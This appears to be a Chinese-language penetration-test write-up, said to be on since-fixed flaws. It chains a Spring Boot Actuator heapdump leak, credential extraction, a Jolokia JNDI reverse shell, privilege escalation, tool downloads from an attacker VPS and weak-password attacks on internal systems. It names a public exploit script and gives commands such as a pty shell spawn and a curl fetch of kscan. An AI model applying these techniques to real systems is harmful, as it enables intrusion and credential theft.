记一次RCE+heapdump信息泄露引发的血案

漏洞截止目前已完全修复。

1.思路

1
heapdump信息泄露-弱口令-RCE-数据库-后台弱口令-内网系统弱口令-敏感信息挖掘

2.Heapdump信息泄露

Springboot搭建的系统,首先访问Actuator模块,看有哪些端点暴露,最常见的就是env、info、metrics等等,最喜人乐见的就是heapdump、gateway、jolokia等,前者可能导致轻微信息泄露、而后者可能导致敏感信息泄露乃至RCE进内网。

这里需要注意的是,访问Springboot的系统,有时候URL后边直接加actuator提示404并不代表端点没有暴露,可能是文件目录导致的,就比如这次渗透的目标站点就是如此:https://target.com:8090/xxx/actuator/

访问actuator,查看暴露的端点,发现heapdump文件,直接下载下来打开即可。这里打开heapdump转储文件,打开heapdump的方式有多种,MAT、JDumpSpider-1.0-SNAPSHOT-full.jar、heapdump_tool.jar等等,GitHub也有其它的打开工具,往往一种工具查出来的信息不完整,比如直接用JDumpSpider-1.0-SNAPSHOT-full.jar跑出来的结果可能不全,但是跑出的结果很清晰、heapdump_tool.jar跑出来的结果更全一些,但是结果展示不是很清晰。建议都跑一遍,确保收集信息的广度,这个后边会继续提到

image-20230329211622655

使用JDumpSpider只跑出来了本地数据库账号口令(为后边拿下内网数据库做了铺垫)

继续用heapdump_tool.jar在跑一下

image-20230329213702034

等数据加载完之后,输入关键字进行关键字查询:password、geturl、getfile等,直接输入password搜索password字样

image-20230329213853806

image-20230329213936250

image-20230329214026991

image-20230329214141373

将收集到的密码做成字典,后期可以做爆破口令用,成功登陆外网druid

3.jolokia命令执行(jolokia Realm JNDI RCE)

目标不止有heapdump、还有jolokia端点,jolokia存在RCE漏洞,但是有利用条件(目标JDK版本、是否存在端点以及引用了jolokia-core依赖等):直接访问/jolokia/list查看有无type=MBeanFactory 和 createJNDIRealm参数可判断是否可能RCE,jolokia/list下存在这两个参数,尝试进行jndi注入(GitHub有诸多jndi工具以及利用详情)

image-20230329215501444

目标有接收请求,貌似也请求了VPS上的class文件,但是反弹shell没反应。大概率是目标主机jdk版本过高导致反弹shell失败,尝试进行高版本jdk进行jndi注入。

提取准备好base64编码之后的反弹shell语句

启动jndi工具

image-20230326230140643

这里使用py工具发送payload:

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

py文件url以及payload修改成jndi工具生成的恶意payload,运行py

image-20230326230121901

反弹shell成功,反弹回来的shell很多命令没法用,目标主机存在python环境,使用ptyshell实现简单的tty

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20230326230259448

目标主机ubuntu,sudo su切换到root用户

4.登陆数据库

heapdump泄露的数据库账号密码尝试登陆数据库

image-20230326233016834

查找用户名口令:

image-20230326233249770

MD5加密的管理员密码,尝试解密:

1

由于heapdump在管理系统目录下:xxx/actuator/heapdump,猜测密码大概率是后台管理系统密码

口令登陆成功:涉及信息过于敏感,暂时不放图了

5.NPC落地进内网

VPS开启python服务,目标主机cd到tmp目录下:

1
curl -O http://xxx:8888/kscan

将kscan与npc端下载到目标主机tmp目录下

image-20230330000916557

运行NPC端:

image-20230326230445077

主机成功上线:

image-20230326230516567

proxifier设置socks5代理尝试连接:

image-20230326230553032

proxifier添加firefox规则后,根据kscan扫描出的结果尝试访问web服务:

image-20230330001436993

弱口令*1

image-20230330001622770

image-20230330001654028

尝试使用数据库中存储的密码挨个进行登陆~

6.敏感信息泄露

查找系统中propertie配置文件,获取多个appkey和secret信息

image-20230330002035412

较为敏感的信息就不在放出了

主要高版本jdk的jndi注入以及信息收集(收集密码做字典定向爆破)的结果,才使得进入内网之后可以拿下多个后台管理系统,从而获取大量敏感信息。